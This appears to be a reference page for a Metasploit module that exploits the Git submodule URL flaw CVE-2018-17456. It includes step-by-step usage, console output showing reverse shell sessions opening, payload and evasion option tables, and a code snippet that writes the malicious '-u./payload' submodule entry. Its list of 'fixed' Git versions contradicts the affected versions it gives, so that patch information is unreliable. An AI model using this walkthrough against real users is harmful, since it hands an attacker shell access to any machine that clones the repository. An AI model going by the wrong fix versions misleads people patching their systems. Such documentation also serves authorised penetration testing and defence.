Malicious Git HTTP Server For CVE-2018-17456 - Metasploit
This page contains detailed information about how to use the exploit/multi/http/git_submodule_url_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Malicious Git HTTP Server For CVE-2018-17456
Module: exploit/multi/http/git_submodule_url_exec
Source code: modules/exploits/multi/http/git_submodule_url_exec.rb
Disclosure date: 2018-10-05
Last modification time: 2021-08-09 15:00:51 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2018-17456
This module exploits CVE-2018-17456, which affects Git versions 2.14.5, 2.15.3, 2.16.5, 2.17.2, 2.18.1, and 2.19.1 and lower. When a submodule url which starts with a dash e.g "-u./payload" is passed as an argument to git clone, the file "payload" inside the repository is executed. This module creates a fake git repository which contains a submodule containing the vulnerability. The vulnerability is triggered when the submodules are initialised (e.g git clone --recurse-submodules URL)
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
- screen-effects: Module may show something on the screen (Example: a window pops up).
Basic Usage
msf > use exploit/multi/http/git_submodule_url_exec
msf exploit(git_submodule_url_exec) > exploit
Knowledge Base
Description
This module exploits CVE-2018-17456, which affects Git versions 2.14.5, 2.15.3, 2.16.5, 2.17.2, 2.18.1, and 2.19.1 and lower.
When a submodule url which starts with a dash e.g "-u./payload" is passed as an argument to git clone, the file "payload" inside the repository is executed.
This module creates a fake git repository which contains a submodule containing the vulnerability. The vulnerability is triggered when the submodules are initialised (e.g git clone --recurse-submodules URL)
Vulnerable Application
Git can be installed on a variety of operating systems, however newer versions will contain the patch for this vulnerability.
On OSX it can be installed with the XCode command line tools:
xcode-select --install
On Linux it can be installed with apt:
sudo apt-get update && sudo apt-get install git
You can check the version with git --version
.
The fix is included in the following version:
2.7.6, 2.8.6, 2.9.5, 2.10.4, 2.11.3, 2.12.4, 2.13.5, 2.14.1
Verification Steps
Example steps in this format:
- Install the application
- Start msfconsole
- Do:
use exploit/multi/http/git_submodule_url_exec
- Do:
set LHOST [local host]
- Do:
exploit
- Clone the malicious Git URI and its submodules (e.g
git clone --recurse-submodules GIT_URL
) - You should get a shell
Options
GIT_URI
This is the URI the git repository will be hosted from (defaults to random).
GIT_SUBMODULE
This is the URI of the submodule within the git repository (defaults to random). The url of this submodule, when cloned, will execute the payload.
Scenarios
msf5 > use exploit/multi/http/git_submodule_url_exec
msf5 exploit(multi/http/git_submodule_url_exec) > set LHOST 192.168.0.1
LHOST => 192.168.0.1
msf5 exploit(multi/http/git_submodule_url_exec) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.0.1:4444
msf5 exploit(multi/http/git_submodule_url_exec) > [*] Using URL: http://0.0.0.0:8080/yaDlXuHVnRMMYGQ
[*] Local IP: http://192.168.0.1:8080/yaDlXuHVnRMMYGQ
[*] Server started.
[*] Malicious Git URI is http://192.168.0.1:8080/ogkvs.git
[*] Command shell session 1 opened (192.168.0.1:4444 -> 192.168.0.1:41034) at 2018-10-18 12:41:40 +0000
[*] Command shell session 2 opened (192.168.0.1:4444 -> 192.168.0.1:41036) at 2018-10-18 12:41:41 +0000
On the victim side:
git clone --recurse-submodules http://192.168.0.1:8080/ogkvs.git
Cloning into 'ogkvs'...
Submodule 'lfr:lr' (-u./rDwoZ) registered for path 'lfr:lr'
Cloning into 'lr'...
fatal: Could not read from remote repository.
Please make sure you have the correct access rights
and the repository exists.
fatal: clone of '-u./rDwoZ' into submodule path 'ogkvs/lfr:lr' failed
Failed to clone 'lfr:lr'. Retry scheduled
Cloning into 'lr'...
fatal: Could not read from remote repository.
Please make sure you have the correct access rights
and the repository exists.
fatal: clone of '-u./rDwoZ' into submodule path 'ogkvs/lfr:lr' failed
Failed to clone 'lfr:lr' a second time, aborting
Go back to menu.
Msfconsole Usage
Here is how the multi/http/git_submodule_url_exec exploit module looks in the msfconsole:
msf6 > use exploit/multi/http/git_submodule_url_exec
[*] Using configured payload cmd/unix/reverse_python
msf6 exploit(multi/http/git_submodule_url_exec) > show info
Name: Malicious Git HTTP Server For CVE-2018-17456
Module: exploit/multi/http/git_submodule_url_exec
Platform:
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2018-10-05
Provided by:
timwr
Available targets:
Id Name
-- ----
0 Automatic
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
GIT_SUBMODULE no The path to use as the malicious git submodule (empty for random)
GIT_URI no The URI to use as the malicious Git instance (empty for random)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload information:
Description:
This module exploits CVE-2018-17456, which affects Git versions
2.14.5, 2.15.3, 2.16.5, 2.17.2, 2.18.1, and 2.19.1 and lower. When a
submodule url which starts with a dash e.g "-u./payload" is passed
as an argument to git clone, the file "payload" inside the
repository is executed. This module creates a fake git repository
which contains a submodule containing the vulnerability. The
vulnerability is triggered when the submodules are initialised (e.g
git clone --recurse-submodules URL)
References:
https://nvd.nist.gov/vuln/detail/CVE-2018-17456
https://marc.info/?l=git&m=153875888916397&w=2
https://gist.github.com/joernchen/38dd6400199a542bc9660ea563dcf2b6
https://blog.github.com/2018-10-05-git-submodule-vulnerability
Module Options
This is a complete list of options available in the multi/http/git_submodule_url_exec exploit:
msf6 exploit(multi/http/git_submodule_url_exec) > show options
Module options (exploit/multi/http/git_submodule_url_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
GIT_SUBMODULE no The path to use as the malicious git submodule (empty for random)
GIT_URI no The URI to use as the malicious Git instance (empty for random)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (cmd/unix/reverse_python):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
SHELL /bin/bash yes The system shell to use.
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the multi/http/git_submodule_url_exec exploit:
msf6 exploit(multi/http/git_submodule_url_exec) > show advanced
Module advanced options (exploit/multi/http/git_submodule_url_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
ListenerComm no The specific communication channel to use for this service
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Payload advanced options (cmd/unix/reverse_python):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the multi/http/git_submodule_url_exec module can exploit:
msf6 exploit(multi/http/git_submodule_url_exec) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the multi/http/git_submodule_url_exec exploit:
msf6 exploit(multi/http/git_submodule_url_exec) > show payloads
Evasion Options
Here is the full list of possible evasion options supported by the multi/http/git_submodule_url_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(multi/http/git_submodule_url_exec) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
GIT_URI must start with a /
Here is a relevant code snippet related to the "GIT_URI must start with a /" error message:
73: end
74:
75: def setup_git
76: # URI must start with a /
77: unless git_uri && git_uri.start_with?('/')
78: fail_with(Failure::BadConfig, 'GIT_URI must start with a /')
79: end
80:
81: payload_content = "#!/bin/sh\n#{payload.raw} &"
82: payload_file = Rex::Text.rand_text_alpha(4..6)
83:
GIT_SUBMODULE must contain a
Here is a relevant code snippet related to the "GIT_SUBMODULE must contain a" error message:
84: submodule_path = datastore['GIT_SUBMODULE']
85: if submodule_path.blank?
86: submodule_path = Rex::Text.rand_text_alpha(2..6).downcase + ":" + Rex::Text.rand_text_alpha(2..6).downcase
87: end
88: unless submodule_path.include?":"
89: fail_with(Failure::BadConfig, 'GIT_SUBMODULE must contain a :')
90: end
91:
92: gitmodules = "[submodule \"#{submodule_path}\"]
93: path = #{submodule_path}
94: url = -u./#{payload_file}
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #10828 Merged Pull Request: git submodule url exec (CVE-2018-17456)
References
- CVE-2018-17456
- https://marc.info/?l=git&m=153875888916397&w=2
- https://gist.github.com/joernchen/38dd6400199a542bc9660ea563dcf2b6
- https://blog.github.com/2018-10-05-git-submodule-vulnerability
See Also
Check also the following modules related to this module:
- exploit/multi/http/git_client_command_exec
- exploit/multi/http/git_lfs_clone_command_exec
- exploit/multi/http/git_submodule_command_exec
- auxiliary/scanner/http/git_scanner
- exploit/windows/http/git_lfs_rce
- exploit/linux/http/bitbucket_git_cmd_injection
- exploit/linux/http/github_enterprise_secret
- exploit/linux/http/gitlist_exec
- exploit/linux/http/sourcegraph_gitserver_sshcmd
- exploit/multi/http/gitea_git_fetch_rce
- exploit/multi/http/gitea_git_hooks_rce
- exploit/multi/http/gitlab_exif_rce
- exploit/multi/http/gitlab_file_read_rce
- exploit/multi/http/gitlab_shell_exec
- exploit/multi/http/gitlist_arg_injection
- exploit/multi/http/gitorious_graph
- exploit/multi/http/gogs_git_hooks_rce
- exploit/windows/browser/logitechvideocall_start
- exploit/windows/fileformat/digital_music_pad_pls
- exploit/windows/http/gitstack_rce
- auxiliary/admin/http/gitstack_rest
- auxiliary/scanner/http/cgit_traversal
- auxiliary/scanner/http/gitlab_graphql_user_enum
- auxiliary/scanner/http/gitlab_login
- auxiliary/scanner/http/gitlab_user_enum
- auxiliary/scanner/ssh/ssh_enum_git_keys
- post/osx/gather/gitignore
Related Nessus plugins:
- Debian DSA-4311-1 : git - security update
- Slackware 14.0 / 14.1 / 14.2 / current : git (SSA:2018-283-01)
- Ubuntu 14.04 LTS / 16.04 LTS / 18.04 LTS : Git vulnerability (USN-3791-1)
- Fedora 27 : libgit2 (2018-7d993184f6)
- openSUSE Security Update : git (openSUSE-2018-1147)
- FreeBSD : Libgit2 -- multiple vulnerabilities (8c08ab4c-d06c-11e8-b35c-001b217b3468)
- openSUSE Security Update : git (openSUSE-2018-1177)
- Amazon Linux AMI : git (ALAS-2018-1093)
- Fedora 27 : git (2018-d5139c4fd6)
- Amazon Linux 2 : git (ALAS-2018-1093)
Authors
timwr
Version
This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.